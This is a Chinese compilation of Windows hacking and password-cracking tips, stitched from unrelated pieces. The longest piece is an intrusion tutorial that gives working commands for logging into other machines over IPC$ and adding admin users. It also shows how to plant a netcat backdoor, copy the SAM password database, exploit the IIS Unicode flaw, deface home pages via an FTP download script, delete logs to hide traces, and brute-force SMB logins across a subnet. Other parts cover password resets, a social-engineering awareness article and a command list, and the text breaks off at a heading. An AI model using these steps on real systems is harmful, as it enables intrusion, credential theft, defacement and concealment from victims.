方法一：
1.开机启动Win XP，当运行到“正在启动Windows XP”的提示界面时，按“F8”键调出系统启动选择菜单，选择“带命令行安全模式”； 2.当运行停止后，会列出“Administrator”和其它用户的选择菜单(本例的其他用户以xpuser01为例)，选择“Administrator”后回车，进入命令行模式； 3.键入命令““net user xpuser01 1234/ADD”这是更改该用户密码的命令，命令中的“1234”是更改后的新
2，如果键入的用户不存在（xpuser01），那么系统会自动添加这个用户。 4.另外还可以使用“net 1oca1group administrator xpuser01 /ADD”命令把xpuser01这个用户升为超级用户，即可拥有所有权限。 5.最后一步，就是重新启动计算机，在登录窗口中输入刚刚更改的新密码便可成功登陆。如果你正在为丢失了登陆口令而烦恼的话，不妨试一试此方法。

方法二：
我来给我们说一个简单的方法:
把机箱打开之后,把主板的那个电池取下来,再安上,就OK了。还有把跳线帽拔下来重新插上也可以。
方法三：
在安全模式下以具有管理员身份的帐号登录.我的电脑--管理--本地用户和组--用户,在你忘记密码的用户上点右键,设置密码,弹出对话框点继续,在密码及密码确认框输入你想设置的密码,确定,重新启动即可启用新的密码
不用软件也可以破解XP开机密码,试试下面的方面看看 
进入安全模式登录到Windows XP后，按下“Ctrl + Alt + Del”组合键， 

出现“Windows 安全”窗口，点击选项中“更改密码”按钮，出现更改密码窗口。这个窗口中，将当前用户的密码备份，点击左下角“备份”按钮，激活“忘记密码向导”，按照提示创建密码重设盘。 

如果在Windows XP的登录窗口输入了错误的密码，就会弹出“登录失败”窗口，如果你的确想不起来自己的密码是什么时，可点击“重设”按钮，启动密码重设向导，通过刚才所创建的密码重设盘，重新设定密码，登录Windows XP。 

方法4、 还有就是，可以使用超强的Windows 2000XP系统维护光盘——ERD Commander 2003。使用该光盘启动系统后，运行开始→管理→工具→密码修改命令打开ERD Commander 2003 LockSmith Wizard窗口，在帐号框中输入要破解的帐户名，然后输入新的密码就ok了 
 


网络管理员在网络中的作用相当于警察，不仅要随时在网络中查漏补缺，而且还要在网络中每台PC修复的时候攻克种种难关。鉴于现在安全意识抬头，几乎企业中 的PC都上了“安全锁”，但丢“钥匙”的也不少。于是，如何破解密码成为了每一位网管的必修课。笔者总结了多种“硬”和“软”方法，和大家共享。
　　　CMOS破解
　　　使用电脑，首先需要开机。因此开机密码是最先要遇到的。虽然CMOS种类各异，但它们的加密方法却基本一致。
　　　硬件方法解除CMOS密码原理是将主板上的CMOSRAM进行放电处理，使存储在CMOSRAM中的参数得不到正常的供电导致内容丢失，从而起到解除 CMOS密码的目的。一些报刊对如何破解CMOS密码的通常做法，如跳线短接法和电池短接法已有较多介绍。但实际上还有更简单方法：打开机箱，将硬盘或光 驱、软驱的数据线从主板上拔掉，然后再启动计算机，BIOS会在自检时报告错误并自动进入CMOS，此时就可以重新设置BIOS内容了。
　　　系统密码破解
　　　系统密码是登录到操作系统时所使用到的密码，它为你的计算机提供了一种安全保护，可以使计算机免受非法用户的使用，从而保障电脑和机密数据的安全。
　　　鉴于Windows98/ME操作系统较早，方法较多，这里不加赘述。
　　　破解WindowsNT密码，如果你有普通用户账号，有一个很简单的方法获取NT Administrator账号。先把c:\winntsystem32下的logon.scr改名为logon.old备份，然后把usrmr.exe 改名为logon.scr再重新启动。logon.scr是系统启动时加载的程序，重新启动后，不会出现以往的登录密码输入界面，而是用户管理器，这时你 就有权限把自己加到Administrator组。
　　　破解Windows2000密码，启动盘启动电脑或引导进入另一操作系统(如Windows98)，找到文件 夹"X:\DocumentsandSettings\Administrator"(X为Windows2000所在磁盘的盘符)，将此文件夹下 的"Cookies"文件夹删除，然后重新启动电脑，即可以空密码快速登录Windows2000。
　　　破解WindowsXP的密码，在启动WindowsXP时按F8键选择带命令行的安全模式，使用net命令可以对用户身份进行操作。具体步骤如下：使用 命令"netuserabcd/add"添加一名为abcd的用户，使用命令"netlocalgroupadministratorsabcd/add"将用户abcd提升为管理员，重新启动电脑，用abcd身份登录，最后对遗忘密码的用户进行密码修改即可。
　　　常用软件破解
　　　目前，更多的用户懂得了利用电脑软件对自己的一些储存在电脑中的信息进行加密操作，使无权阅读的人无法轻松打开这些重要资料。
　　　破解WPS系列密码：如果你是合法用户，在忘却密码时，启动WPS程序，点击“文件”/“密码设置”菜单，在出现的密码设置对话框中可以看到原密码会自动以“特殊字符的方式出现在“密码”文本框中，点击“清除”，再点击“确认”按钮，该加密文件的密码已经被清除了。
　　　如果你不是合法用户就只能借助有关工具进行破解。现在破解WPS密码的软件很多，但论其功能强大，破解速度快就要数国产的Edward'sWPS2000PasswordRecovery了。该工具破解WPS密码采用的是破解密码的常见的方法---穷举法。
　　　破解Word文档密码：可能是微软的Office太引人注目了，针对它的破解软件非常多。可选用一款国产的软件“97/2000/XP密码查看器”，这是 一款仅有29KB大小的微型简体中文的Word密码解除软件。此软件无需安装，双击可执行文件即可。该工具可以破解Windows9X/NT/2000 /XP全系列的文档密码，可以查找最多13位的密码(未注册版只支持3位)，使用"字典式"穷举法破解。
　　　破解Excel文档：选用一个叫Advanced Excel97Password Recovery的工具，614K，最近版本1.01。
　　　破解OICQ密码：使用一个叫“OICQ密码终结者”的工具。
　　　破解网络密码
　　　网络正悄然而迅速地走进我们的办公生活。为了防止各类的网络入侵，人们不得不对加上各种密码。但这些密码一旦遗忘，成为我们进行工作的大碍。
　　　破解上网账号与密码：作为日常上网的桥梁，小企业的员工上网时要进行上网账号与密码的设置，这样才能登录网络。利用一些工具软件获得账号并不是很难的事情，甚至可以说是一件轻而易举的事情。这里我们借助一个叫GetIP的工具，其通过种种种设计能够将密码还原。
　　　破解IE分级审查密码：IE浏览器提供了分级审查功能，它可以在用户的设置下对某些网页进行过滤，只有知道分级审查功能密码的用户才能查看相关网页的信 息。如果遗忘了分级审查功能的密码，不但不能访问受到限制的站点，而且不能更改已有的限制级别，重装IE也没有用，怎么办?启动注册表编辑器，找 到"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
　　　\CurrentVersion\policies\Ratings"子键，找到一个名叫"KEY"的键值项，它就是用户设置IE分级审查口令(数据已经加密)，用户只需删除该键值就可以取消分级审查口令，然后重新设置IE分级审查密码即可。
　　　破解OE密码：在OE程序中有三种密码，邮箱密码、新闻组密码和用户身份确认密码。下面我们以一个叫"密码截取"(3.1特别版)的软件，可运行于WIN9X/2000/NT/XP。
　　　破解Foxmail密码
　　　有相当多的企业用户，使用简单却功能强大Foxmail做邮件接收工具。对于4.2以前的版本，只要删除了Foxmail\mail\目录下相应用户目录 中的Account.stg文件，即可轻松看见该用户邮箱里的邮件了。而4.2版本以后，在删除了Account.stg后，POP3服务器和SMTP服 务器信息会随之丢失，而且这样进入Foxmail主界面后只能查看该用户的四个默认邮箱(即收件箱、发件箱、已发送邮件箱和废件箱)里的信件，用户新建的 自定义邮箱是看不到的。或者用Ultraedit打开account.stg，在文件0f00h的地方，可以看到以下值串00000f00h: 0C 8C 0A 00 1B 00 00 00 (这一处每个帐号均相同)其后如果接一个非零的值串，那就是密码了。将文件备份，然后修改此非零值串为零，再打开Foxmail进入此帐号就无须密码了。
　　　而最简单的方法是，新建用户，产生新邮箱的保存目录，把目录下新产生的account.stg 覆盖已加密的邮箱，密码就破解了



以下命令具体应用及参数可在命令后输入/?来查看帮助或度娘搜索  tsshutdn 60秒倒计时关机命令 utilman 辅助工具管理器 wiaacmgr 扫描仪和照相机向导 winchat Windows XP 自带的“聊天”系统 winmsd 系统信息 winver 检查 Windows 版本 wmimgmt.msc 打开 Windows 管理体系结构 wupdmgr Windows 更新程序 write 打开“写字板” wscript Windows 脚本宿主设置mstsc 远程桌面连接 narrator 打开“讲述人” netstat -an 命令检查接口 net start messenger 开始信使服务 net stop messenger 停止信使服务 notepad 打开“记事本” nslookup IP 地址侦测器 ntbackup 系统备份和还原 ntmsmgr.msc 移动存储管理器 ntmsoprq.msc 移动存储管理员操作请求 odbcad32 ODBC 数据源管理器 oobe/msoobe /a 检查 XP 是否激活 osk 打开屏幕键盘 packager 打开“对象包装程序” perfmon.msc 计算机性能监测程序 progman 程序管理器 regedit.exe 打开“注册表编辑器” regedt32 打开“注册表编辑器” regsvr32 /u *.dll 停止 DLL 文件运行regsvr32 /u zipfldr.dll 取消 ZIP 支持 rononce -p 15 秒关机 rsop.msc 组策略结果集 secpol.msc 本地安全策略 services.msc 本地服务设置 sfc.exe 系统文件检查器 sfc /scannow Windows 文件保护 shrpubw 创建共享文件夹 sndrec32 打开“录音机” sndvol32 音量控制程序 sigverif 文件签名验证程序 syncapp 创建一个公文包sysedit 系统配置编辑器 syskey 系统加密 （一旦加密就不能解开，可以保护 Windows XP 系统的双重密码） taskmgr 任务管理器
 

1：NET 

只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！ 

这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1 

net use \\127.0.0.1\ipc$ "123456" /user:"hbx" 

退出的命令是 

net use \\127.0.0.1\ipc$ /delte 

下面的操作你必须登陆后才可以用.登陆的方法就在上面. 

---------------------- 

下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户. 

我们加一个heibai的用户密码为lovechina 

net user heibai lovechina /add 

只要显示命令成功，那么我们可以把他加入Administrator组了. 

net localgroup Administrators heibai /add 

---------------------- 

这里是讲映射对方的C盘，当然其他盘也可以，只要存在就行了.我们这里把对方的C盘映射到本地的Z盘. 

net use z:\\127.0.0.1\c$ 

---------------------- 

net start telnet 

这样可以打开对方的TELNET服务. 

---------------------- 

这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。

　 
net user guest /active:yes 

---------------------- 

这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！ 

net user guest lovechina 

net命令果然强大啊！ 

2:at 

一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？ 

那么需要用AT命令，这里假设你已经登陆了那个服务器。 

你首先要得到对方的时间， 

net time \\127.0.0.1 

将会返回一个时间，这里假设时间为12:1，现在需要新建一个作业，其ID=1 

at \\127.0.0.1 12:3 nc.EⅩE 

这里假设了一个木马，名为NC.EⅩE，这个东西要在对方服务器上. 

这里介绍一下NC，NC是NETCAT的简称，为了方便输入，一般会被改名.它是一个TELNET服务，端口为99. 

等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马. 

3:telnet 

这个命令非常实用，它可以与远方做连接，不过正常下需要密码、用户，不过你给对方种了木马，直接连到这个木马打开的端口. 

telnet 127.0.0.1 99 

这样就可以连到对方的99端口.那你就可以在对方运行命令了，这个也就是肉鸡. 

4:FTP 

它可以将你的东西传到对方机子上，你可以去申请个支持FTP上传的空间，国内多的是，如果真的找不到，我给个WWW.51.NET，不错的.当我们申请完后，它会给用户名，密码，以及FTP服务器. 

在上传前需要登陆先，这里我们假设FTP服务器是WWW.51.NET，用户名是HUCJS，密码是654321 

ftp http://www.51.net 

他会要求输入用户，成功后会要求输入密码.

下面先说上传，假设你需上传的文件是INDEX.HTM，它位于C:\下，传到对方D:\ 

get c:\index.htm d:\ 

假设你要把对方C盘下的INDEX.HTM，下到你的机子的D盘下 

put c:\index.htm d:\ 

5:copy 

下面我说说怎样把本地的文件复制到对方硬盘上去，需要建立好IPC$连接才有效。 

这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下 

copy index.htm \\127.0.0.1\c$\index.htm 

---------------------- 

如果你要复制到D盘下把C改为D，就行了！ 


copy index.htm \\127.0.0.1\d$\index.htm 

---------------------- 

如果你要把他复制到WINNT目录里 

就要把输入 

copy index.htm \\127.0.0.1\admin$\index.htm 

admin$是winnt 

---------------------- 

要把对方的文件复制过来，顺便告诉大家NT的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名 

下面就把127.0.0.1的数据库复制到本地C盘下 

copy \\127.0.0.1\admin$\repair\sam._ c:\ 

---------------------- 

6：set 

如果你跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当然他的80端口要开，不然你黑给谁看。这时需要用SET命令！ 

下面是我得到的结果！我来分析它，只是找主页在那而已。 

COMPUTERNAME=PENTIUMII 
ComSpec=D:\WINNT\system32\cmd.EⅩE 
CONTENT_LENGTH=0 
GATEWAY_INTE**CE=CGI/1.1 
HTTP_ACCEPT=*/* 
HTTP_ACCEPT_LANGUAGE=zh-cn 
HTTP_CONNECTION=Keep-Alive 
HTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除了 
HTTP_ACCEPT_ENCODING=gzip， deflate 
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) 
NUMBER_OF_PROCESSORS=1 
Os2LibPath=D:\WINNT\system32\os2\dll; 
OS=Windows_NT 
Path=D:\WINNT\system32;D:\WINNT 
PATHEXT=.COM;.EⅩE;.BAT;.CMD 
PATH_TRANSLATED=E:\vlroot主页放在的地址，只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:\vlroot 
PROCESSOR_ARCHITECTURE=x86 
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3， GenuineIntel 
PROCESSOR_LEVEL=6 
PROCESSOR_REVISION=0303 
PROMPT=$P$G 
QUERY_STRING=/c+set 
REMOTE_ADDR=XX.XX.XX.XX 
REMOTE_HOST=XX.XX.XX.XX 
REQUEST_METHOD=GET 
script_NAME=/scripts/..%2f../winnt/system32/cmd.EⅩE 
SERVER_NAME=XX.XX.XX.XX 
SERVER_PORT=80 
SERVER_PORT_SECURE=0 
SERVER_PROTOCOL=HTTP/1.1 
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0 
SystemDrive=D: 
SystemRoot=D:\WINNT 
TZ=GMT-9 
USERPROFILE=D:\WINNT\Profiles\Default User 
windir=D:\WINNT 

粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才能100%的找到主页的名称，当你DIR这个目录时，一定会看到很多文件，你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到的也面一模一样，那么这就是主页的名称了。 

　 
7：nbtstat 

如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力破解吧！ 

现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。 

命令是 

nbtstat -A XX.XX.XX.XX 

-A一定要大写哦。 

下面是得到的结果。 

NetBIOS Remote Machine Name Table 

Name Type Status 
--------------------------------------------- 
Registered Registered Registered Registered Registered Registered Registered Reg 
istered Registered Registered Registered 
MAC Address = 00-E0-29-14-35-BA 
PENTIUMII <00> UNIQUE 
PENTIUMII <20> UNIQUE 
ORAHOTOWN <00> GROUP 
ORAHOTOWN <1C> GROUP 
ORAHOTOWN <1B> UNIQUE 
PENTIUMII <03> UNIQUE 
INet~Services <1C> GROUP 
IS~PENTIUMII...<00> UNIQUE 
ORAHOTOWN <1E> GROUP 
ORAHOTOWN <1D> UNIQUE 
..__MSBROWSE__.<01> GROUP 


粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看到了一窜数字，只要这窜数字是<03>的话，那他前面的就是用户。 

这里的用户是PENTIUMII。 

8：Shutdown 

关了对方的NT服务器的命令 

Shutdown \\IP地址 t:20 

20秒后将NT自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。 

9：DIR 

这个命令没什么好讲，但是却非常重要，他是查看一目录里的所有文件、文件夹。 

你可以本地试下。 

10：echo 

著名的漏洞Unicode，这个命令可以简单的黑一下有这个漏洞的主机。 

我们假设我们要把“南京大**铁证如山，任何日本人不得抵赖！”写入index.htm，有2种方法，大家看看有什么区别。 

echo 南京大**铁证如山，任何日本人不得抵赖！>index.htm 

echo 南京大**铁证如山，任何日本人不得抵赖！>>index.htm 

第一个的意思是覆盖index.htm原有的内容，把“南京大**铁证如山，任何日本人不得抵赖！”写进index.htm。 



第二个的意思是把“南京大**铁证如山，任何日本人不得抵赖！”加到index.htm里面。 

“>>”产生的内容将追加进文件中，“>”则将原文件内容覆盖。 

大家可以本地试下。

可能你会问，这样简单黑下有什么好玩的，其实他可以用来下载主页到对方的目录里。 

1、首先，我们需要申请一个免费的主页空间。 

2、用echo在可写目录下建立如下内容的txt文件：（以chinren服务器为例。） 
open upload.chinaren.com（你的FTP服务器，申请时你的空间提供商会给你的） 
cnhack（你申请时的用户名） 
test（你申请时的密码） 
get index.htm c:\inetpub\wwwroot\index.htm（这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm） 
bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS） 

具体的做法： 
输入 echo open upload.chinaren.com> c:\cnhack.txt 
输入 echo cnhack >> c:\cnhack.txt 
输入 echo 39abs >> c:\cnhack.txt 
输入 echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt 
最后输入 ftp -s:c:\cnhack.txt （利用ftp的-s参数，执行文件里的内容。） 

等命令完成时，文件已经下载到你指定的文件里了。 

注意：取得文件后，请删除cnhack.txt。（如果不删除，很容易会给别人看到你的密码。） 

记得要 del c:\cnhack.txt 

11:attrib 

这个命令是设置文件属性的。如果你想黑一个站，而他的主页的文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。倒！不过有这个命令就别怕了。 

attrib -r index.htm 

这个命令是把index.htm的只读属性去掉。 

如果把“-”改为“+”则是把这个文件的属性设置为只读 

---------------------- 

attrib +r index.htm 

这个命令是把index.htm的属性设置为只读。 

12:del 

当你看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。 

NT的日志有这些 

del C:\winnt\system32\logfiles\*.* 
del C:\winnt\ssytem32\config\*.evt 
del C:\winnt\system32\dtclog\*.* 
del C:\winnt\system32\*.log 
del C:\winnt\system32\*.txt 
del C:\winnt\*.txt 
del C:\winnt\*.log 

只要删除这些就可以了。有些系统NT安装在D盘或其他盘，就要把C改成其他盘。


新建 文本文档 写入下列命令： 

DEL/F /A /Q \\?\%1 

RD /S /Q \\?\%1 

另存为"xxxxx.bat"

然后，要把要删除的文件或者目录拖放到这个ｂａｔ文件的 图标 上就可以删除了。不信大家试试啊。


原理解释：DEL删除文件命令；/F是强制删除只读属性文件；/A不带属性参数(/A:xx)时可以无视除了只读属性外的其他属性（如系统属性）；/Q是自动跳过确认；RD删除文件夹及文件夹树命令；/S是说明删除文件夹树（如果文件夹有文件或子文件夹没加这个参数会提示文件夹非空而不能删除。。）；/Q也是自动跳过确认。当把文件(eg.test.txt 全路径:"d:\test.txt")拖到bat文件图标上松手时，其实这时候等效于执行了（假设bat文件路径为d:\gd.bat）：
    "d:\gd.bat "d:\test.txt""
    此时"d:\test.txt"作为gd.bat的第一个执行命令行参数，而%1就是代表这一串字符的变量所以实际执行的情况是：
-----------------------------------
>@echooff [!enter!]

>@DEL /F /A /Q \\?\"d:\test.txt"[!enter!]

>@RD /S /Q \\?\"d:\test.txt"[!enter!]
系统找不到指定的文件
----------------------------------
当然，这时候del已经干掉了文件，rd当然找不到，两个命令都用就是为了适应各种情况。

不过为什么不直接用全路径而是用"\\?\"+全路径呢？这是一个特别协议的应用，这个特别协议就是UNC-- Universal Naming Convention)，中文是“通用命名规则”，简单说就是\\hostname\resouce_or_path这样的路径，在winnt及之后基于其技术的系统中可以理解为资源的完整名称。另外，完整的UNC格式要把"file:"前缀加上，不过在不同环境下有时候可以省掉有时候又必须省掉。本例中的"\\?\"+完整磁盘路径名是UNC的特殊本地化实例，其实因为在UNC中?是代表1个或0个字符的通配符，所以其实际执行的命令并不是?而是.简单说就是一个对本地的引用，本地计算机根（又点根目录的感觉）。简单的说，它们是网络根，所以把?替换成localhost或者127.0.0.1会发现命令无效。这里提一个UNC绝对路径的特别属性，貌似从WINNT时代延续至今。。即：采取UNC绝对路径定位文件或者文件夹得时候，系统会无视其中的系统保留字或者设备名、带有特殊字符保护的文件系统控制文件名称。所以，用这样的技巧可以删除一些原先无法删除的文件或者文件夹（除开正在运行、引用的、没有相应的删除/更改权限的[这个尚不明原因，NTFS太厉害了？]、专门技术保护的）

提醒一点，谨慎使用，在文件名包含某些特殊字符时有误删除的潜在危险！
设h:是一个u盘，下面有一个fdel.bat:

DEL/F /A /Q \\?\%1
RD /S /Q \\?\%1

同时h:下还有一个名为 &1.txt  的文本文件，此时你想用fdel.bat 删除 &1.txt，当你把 &1.txt 拖到
fdel.bat上后，h:下的所有的文件和文件夹将全部不复存在。这正是特殊字符"&"(另："^&"也有类似效果)的作用了（执行的时候变成了rd /s /q\\?\"h:\&1.txt"，&的前后会并列，于是h:\被清空，然后才是定位1.txt以便删除。

所以，该bat很强大很简洁，但是一定不要用于删除文件名中（尤其是文件名首字符为&或^&）的文件或文件夹，否则可能造成误删除




Linux系统下基本命令： 要区分大小写  
uname 显示版本信息（同win2K的 ver）  
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）  
pwd 查询当前所在的目录位置  
cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。  
cat 文件名 查看文件内容  
cat >abc.txt 往abc.txt文件中写上内容。  
more 文件名 以一页一页的方式显示一个文本文件。  
cp 复制文件  
mv 移动文件  
rm 文件名 删除文件，rm -a 目录名删除目录及子目录  

mkdir 目录名 建立目录  
rmdir 删除子目录，目录内没有文档。  
chmod 设定档案或目录的存取权限  
grep 在档案中查找字符串  
diff 档案文件比较  
find 档案搜寻  
date 现在的日期、时间  
who 查询目前和你使用同一台机器的人以及Login时间地点  
w 查询目前上机者的详细资料  
whoami 查看自己的帐号名称  
groups 查看某人的Group  
passwd 更改密码  
history 查看自己下过的命令  
ps 显示进程状态  
kill 停止某进程  
gcc 黑客通常用它来编译C语言写的文件  
su 权限转换为指定使用者  
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。  
ftp ftp连接上某服务器（同win2K）  

附：批处理命令与变量  

1：for命令及变量 基本格式：  
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。  
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use $">\\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3  

(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1}  

command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开  
command_parameters：为特定命令指定参数或命令行开关  

IN (set)：指在(set)中取值；DO command ：指执行command  

参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:\pass.txt)时}。  
用法举例：  
@echo off  
echo 用法格式：test.bat *.*.* > test.txt  

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt  
存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。  

/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。  
@echo off  
echo 用法格式：ok.bat ip  
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200  
存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。



1. 十度分隔法

　　利用电话进行欺诈的一位社会工程学黑客的首要任务，就是要让他的攻击对象相信，他要么是1)一位同事，要么是2)一位可信赖的专家(比如执法人员或者审核人员)。但如果他的目标是要从员工X处获取信息的话，那么他的第一个电话或者第一封邮件并不会直接打给或发给X。

　　在社会心理学中，六度分隔的古老游戏是由很多分隔层的。纽约市警察局的一位老资格探员Sal Lifrieri，如今正定期举办一个叫做"防范性运营"的企业培训课程，教授如何识别黑客穿透某个组织的社会工程学攻击手段。他说，黑客在一个组织中开始接触的人可能会与他所瞄准的目标或人隔着十层之远。

　　"我讲课时不断地在告诫人们，多少得具备一些放人之心，因为你不知道某人到底想从你这儿获得什么，"Lifrieri说。渗透进入组织的起点"可能是前台或门卫。所以企业必须培训员工彼此相识。而作为犯罪起点的秘书或者前台距离犯罪分子真正想接近的目标有可能隔着十层之远。"

　　Lifrieri说，犯罪分子所用的方法很简单，就是奉承某个组织里更多可以接近的人，以便从职务更高的人那里获得他们所需的信息。

　　"他们常用的技巧就是伪装友好，"Lifrieri说。"其言辞有曰：‘我很想跟您认识一下。我很想知道在您的生活中哪些东西是最有用的。'然后他们很快就会从你那里获得很多你原本根本不会透露的信息。"

　　2. 学会说行话

　　每个行业都有自己的缩写术语。而社会工程学黑客就会研究你所在行业的术语，以便能够在与你接触时卖弄这些术语，以博得好感。

　　"这其实就是一种环境提示，"Lifrieri说，"假如我跟你讲话，用你熟悉的话语来讲，你当然就会信任我。要是我还能用你经常在使用的缩写词汇和术语的话，那你就会更愿意向我透露更多的我想要的信息。"

　　3. 借用目标企业的"等待音乐"

　　Lifrieri说，成功的骗子需要的是时间、坚持不懈和耐心。攻击常常是缓慢而讲究方法地进行的。这不仅需要收集目标对象的各种轶事，还要收集其他的"社交线索"以建立信任感，他甚至可能会哄骗得你以为他是你还未到这家企业之前的一位同事。

　　另外一种成功的技巧是记录某家公司所播放的"等待音乐"，也就是接电话的人尚未接通时播放的等待乐曲。

　　"犯罪分子会有意拨通电话，录下你的等待音乐，然后加以利用。比如当他打给某个目标对象时，他会跟你谈上一分钟然后说：‘抱歉，我的另一部电话响了，请别挂断，'这时，受害人就会听到很熟悉的公司定制的等待音乐，然后会想：‘哦。此人肯定就在本公司工作。这是我们的音乐。'这不过是又一种心理暗示而已。"

　　4. 电话号码欺诈

　　但最分子常常会利用电话号码欺诈术，也就是在目标被叫者的来电显示屏上显示一个和主叫号码不一样的号码。

　　"犯罪分子可能是从某个公寓给你打的电话，但是显示在你的电话上的来电号码却可能会让你觉得好像是来自同一家公司的号码，"Lifrieri说。

　　于是，你就有可能轻而易举地上当，把一些私人信息，比如口令等告诉对方。而且，犯罪分子还不容易被发现，因为如果你回拨过去，可能拨的是企业自己的一个号码。

　　5. 利用坏消息作案

　　"只要报纸上已刊登什么坏消息，坏分子们就会利用其来发送社会工程学式的垃圾邮件、网络钓鱼或其它类型的邮件，"McAfee Avert实验室的安全研究主任Dave Marcus说。

　　Marcus说，他们的实验室在这次的美国总统大选和经济危机中看到了此类活动的增多趋势。

　　"有大量的网络钓鱼攻击是和银行间的并购有关的，"Marcus说。"钓鱼邮件会告诉你说，‘你的存款银行已被他们的银行并购了。请你点击此处以确保能够在该银行关张之前修改你的信息。'这是诱骗你泄露自己的信息，他们便能够进入你的账户窃取钱财，或者倒卖储户的信息。"

　　6. 滥用网民对社交网站的信任

　　Facebook、MySpace和LinkedIn都是非常受欢迎的社交网站。很多人对这些网站十分信任。而最近的一次钓鱼欺诈事件就瞄上了LinkedIn的用户，这次攻击让很多人感到震惊。Marcus说，已经有越来越多的社交网站迷们收到了自称是Facebook网站的假冒邮件，结果上了当。

　　"用户们会收到一封邮件称：‘本站正在进行维护，请在此输入信息以便升级之用。'只要你点进去，就会被链接到钓鱼网站上去。"Marcus因此建议人恩最好手工输入网址以避免被恶意链接。并应该记住，很少有某个网站会寄发要求输入更改口令或进行账户升级的邮件。

　　7. 输入错误捕获法

　　犯罪分子还常常会利用人们在输入网址时的错误来作案，Marcus说。比如当你输入一个网址时，常常会敲错一两个字母，结果转眼间你就会被链接到其他网站上去，产生了意想不到的结果。

　　"坏分子们早就研究透了各种常见的拼写错误，而他们的网站地址就常常使用这些可能拼错的字母来做域名。"

　　8. 利用FUD操纵股市

　　一些产品的安全漏洞，甚至整个企业的一些漏洞都会被利用来影响股市。根据Avert的最新研究报告，例如微软产品的一些关键性漏洞就会对其股价产生影响，每一次有重要的漏洞信息被公布，微软的股价就会出现反复的波动。

　　"公开披露信息肯定会对股价产生影响，"Marcus说。"另有一个例子表明，还有人故意传播斯蒂夫·乔布斯的死讯，结果导致苹果的股价大跌。这是一个利用了FUD(恐慌、不确定、怀疑)，从而对股价产生作用的明显事例。"

　　当然，反向操纵的手法也会发生，这很像以前的所谓"哄抬股价"的伎俩。垃圾邮件的发送者会购买大量的垃圾股，然后伪装成投资顾问疯狂发送邮件，兜售所谓的"潜力股"。如果有足够多的邮件接收者相信了这一骗局并购买了这种垃圾股，其股价就会被哄抬起来。而始作俑者便会迅速卖空获利。 



巧用四条命令帮你查一查系统是否安全
当你感觉自己的系统中病毒了，第一反应就是请出杀毒软件猛查一遍。如果想快速判定当前系统的安全状况，我们可以通过“命令提示符”中的几个命令来检测系统是否中毒，其速度远远超过用杀毒软件来确认。 
        小提示：常见的中病毒现象表现为：系统变得缓慢、账号被盗、打开网页需要等半天、不断弹出广告窗口、文件不能执行等，部分强势病毒会让你的杀毒软件和安全软件失效。当你遇到以上现象时，首要任务是找出并终止病毒进程，让病毒暂时停止工作，接着再利用文中介绍的方法配合杀毒软件进行彻底查杀。使用杀毒软件时，建议重启电脑进入安全模式下进行全盘查杀，做到斩草除根。 

进程查询——tasklist 
